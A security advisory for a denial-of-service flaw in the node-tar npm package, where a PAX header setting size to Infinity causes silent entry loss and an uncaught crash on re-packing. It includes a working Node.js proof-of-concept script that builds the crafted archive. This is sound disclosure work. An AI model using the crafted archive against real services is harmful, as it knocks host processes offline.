CVE-2026-140242
ADVISORY - githubSummary
Summary
tar (node-tar) does not validate that a numeric size value supplied through a PAX extended header (typeflag x) is finite before it is applied to the following archive entry. A PAX record such as 17 size=Infinity\n is coerced to the JavaScript number Infinity and accepted, because the only guard on the value is a >= 0 check and Infinity >= 0 is true. The non-finite size then propagates into the entry-body state machine and, when the entry is re-packed, into numeric header encoding. Any process that parses, extracts, lists, or re-packs an attacker-supplied archive is affected; no authentication or non-default configuration is required.
Root Cause
The PAX key/value parser assigns the size field after a check that was designed only to reject negative values. It never checks that the coerced number is finite or a safe integer, so Infinity (and other non-finite positive values) pass.
// src/pax.ts (parseKVLine)
case 'size':
const s = +v // +"Infinity" === Infinity
if (s >= 0) set[k] = s // Infinity >= 0 is true, so size is set to Infinity
break
The >= 0 guard was added to reject negative sizes. It does not enforce finiteness. The secondary guard notNegative() in src/header.ts has the same gap: Infinity < 0 is false, so it returns Infinity unchanged. As a result the entry's size becomes Infinity and reaches two distinct sinks: the parser body-length state machine and the numeric header encoder used during re-packing.
Impact
An unauthenticated remote attacker who can supply a tar archive to a consumer of this library obtains two demonstrated denial-of-service primitives, both from a single crafted archive with no user interaction:
- Extraction / listing entry loss: when the Infinity-sized entry is parsed, the body-length counter becomes
Infinity, the parser never transitions out of the body-consumption state, and every subsequent entry in the archive is silently consumed as body data. Extraction appears to succeed while dropping all following entries. ATAR_BAD_ARCHIVEwarning is emitted only at end-of-archive and is ignored by consumers that do not run in strict mode. - Re-packing process crash: when entries read from the archive are piped back through the packer (for example via the supported
tar.replace()/tar.update()@archivemerge syntax, which callspack.add(entry)on each existing entry), theInfinitysize reaches the numeric header encoder, which throwsError("cannot encode number outside of javascript safe integer range")synchronously. The throw is not caught inside the packer, so it surfaces as an uncaught exception and terminates the process.
Both impacts were reproduced against the current published release. The re-packing crash is the worst credible outcome (loss of availability of the host process).
Proof of Concept
Runtime: Node.js >= 18. Package: tar (tested on the current published release).
Setup: build the library from source (npm install && npm run prepare) so the
compiled modules under dist/ are available, then run the script from the source root.
The crafted archive contains a PAX extended header that sets size=Infinity on the next file entry, followed by two ordinary file entries and the end-of-archive marker. The single PAX record 17 size=Infinity\n is exactly 17 bytes, matching its own length prefix, so it parses cleanly.
import { createRequire } from 'node:module';
import { resolve } from 'node:path';
const require = createRequire(resolve(process.cwd(), 'package.json'));
const { Header } = require('./dist/commonjs/header.js');
const { Parser } = require('./dist/commonjs/parse.js');
const { Pack } = require('./dist/commonjs/pack.js');
function block(fields, body = Buffer.alloc(0)) {
const len = 512 * Math.ceil(1 + body.length / 512);
const buf = Buffer.alloc(len);
new Header(fields).encode(buf);
body.copy(buf, 512);
return buf;
}
const pax = block(
{ path: 'PaxHeader/x', mode: 0o644, size: 17, type: 'ExtendedHeader', mtime: new Date(0) },
Buffer.from('17 size=Infinity\n'));
const f1 = block({ path: 'a.txt', mode: 0o644, size: 5, type: 'File', mtime: new Date(0) }, Buffer.from('hello'));
const f2 = block({ path: 'b.txt', mode: 0o644, size: 5, type: 'File', mtime: new Date(0) }, Buffer.from('world'));
const archive = Buffer.concat([pax, f1, f2, Buffer.alloc(1024)]);
// Impact 1: entry loss
let n = 0;
const p1 = new Parser({ strict: false });
p1.on('entry', e => { n++; e.resume(); });
p1.on('end', () => console.log('entries emitted:', n, '(expected 2)'));
p1.end(archive);
// Impact 2: uncaught synchronous throw when re-packing
const p2 = new Parser({ strict: false });
const pack = new Pack({ cwd: '/tmp' });
pack.on('data', () => {}); pack.on('error', () => {});
p2.on('entry', e => { try { pack.add(e); } catch (err) { console.log('throw:', err.message); e.resume(); } });
p2.end(archive);
entries emitted: 1 (expected 2)
throw: cannot encode number outside of javascript safe integer range
Attack Chain
- Exposure: The attacker supplies a tar archive to any consumer that parses, extracts, lists, or re-packs it. This is the ordinary, unauthenticated input to the library's public APIs.
- Control: The attacker fully controls the PAX extended-header record. The record
17 size=Infinity\nsatisfies the length-prefix check (17 === Buffer.byteLength("17 size=Infinity") + 1), so it is parsed verbatim. - Path:
parseKVLinereaches thesizecase, computes+"Infinity" === Infinity, and theif (s >= 0)guard passes becauseInfinity >= 0is true. The value flows throughHeader(notNegative(Infinity) === Infinity) into the read entry, whereremain,startBlockSize, andblockRemainall becomeInfinity. - Guard: The finiteness check that should exist on a size quantity is missing from both
parseKVLineandnotNegative(). The>= 0check only rejects negatives; no check rejectsInfinity,-Infinity,NaN, or values outside the safe-integer range. - Primitive: In the parser,
if (!entry.blockRemain)is!Infinity === false, so the parser never returns to the header state and consumes all remaining bytes as this entry's body. In the packing path, the numeric encoder receivesInfinity, failsNumber.isSafeInteger(Infinity), and throws synchronously with no surrounding catch. - Result: Silent loss of every entry after the crafted one during extraction or listing, and an uncaught synchronous exception that crashes the host process during re-packing. Both are single-archive, no-interaction denial of service.
Bypass Evidence
The only relevant guard is the >= 0 size check (added to reject negative sizes) and its cousin notNegative(). Neither blocks this vector, verified against the runtime and the published source:
+"Infinity" === InfinityandInfinity >= 0 === true, soparseKVLinestoresInfinity.notNegative(Infinity)returnsInfinitybecauseInfinity < 0is false.!Infinity === false, so the parser body-state exit condition is never met.Number.isSafeInteger(Infinity) === false, so the numeric encoder throws.
Disproof attempts that failed: the PAX header data size limit only bounds the extended-header block itself (17 bytes here), not the injected file size; the read-entry write-length check data.length > remain is always false against Infinity and never rejects data; no alternate parser state transition exists to recover from the stuck body state; and no try/catch exists anywhere along pack.add() to WriteEntryTar to numeric header encoding. This is not the previously fixed negative-size issue (that fix addressed a different input class, negative values) and it is not the NUL-byte string sanitization issue (that fix strips NUL bytes from string fields and has no effect on the string "Infinity", which contains no NUL). The affected field here is the numeric size, and the root cause is missing finiteness validation.
Affected Versions
Ecosystem: npmPackage: tarConfirmed affected range: >= 7.0.0, <= 7.5.22Latest release checked: 7.5.22 (npm registry, dist-tag latest)Fix status: not fixed as of 7.5.22
The vulnerable numeric handling is present from 7.0.0 onward. In 7.0.0 through the release before the size guard was introduced, the string "Infinity" fell through the integer regex to the string branch, but downstream arithmetic (Math.ceil(Infinity / 512)) still produced Infinity with identical effects; from the guard-introducing release onward the value is explicitly coerced via +v and accepted by if (s >= 0). No published release adds a finiteness check. The legacy 6.x line contains the same unvalidated numeric parser but was not verified end to end and is not included in the confirmed range.
Suggested Fix
Enforce that a parsed size quantity is a finite, non-negative, representable integer at the parsing boundary, before it is stored and propagated. Extending the existing check to if (Number.isSafeInteger(s) && s >= 0) in the size case rejects Infinity, -Infinity, NaN, and out-of-range values at the source. Applying the same finiteness condition in notNegative() provides defense in depth for any other numeric field that reaches size-dependent arithmetic or header encoding. No configuration-only mitigation fully removes exposure; consumers who cannot upgrade should avoid re-packing untrusted archives and should run in strict mode so that the archive-integrity warning is surfaced as an error, though strict mode does not prevent the re-packing crash.
Reported by zx (GitHub: @manus-pi).
NIST
-
CVSS SCORE
7.1highGitHub
-
CVSS SCORE
7.1highDocker Hardened Images
-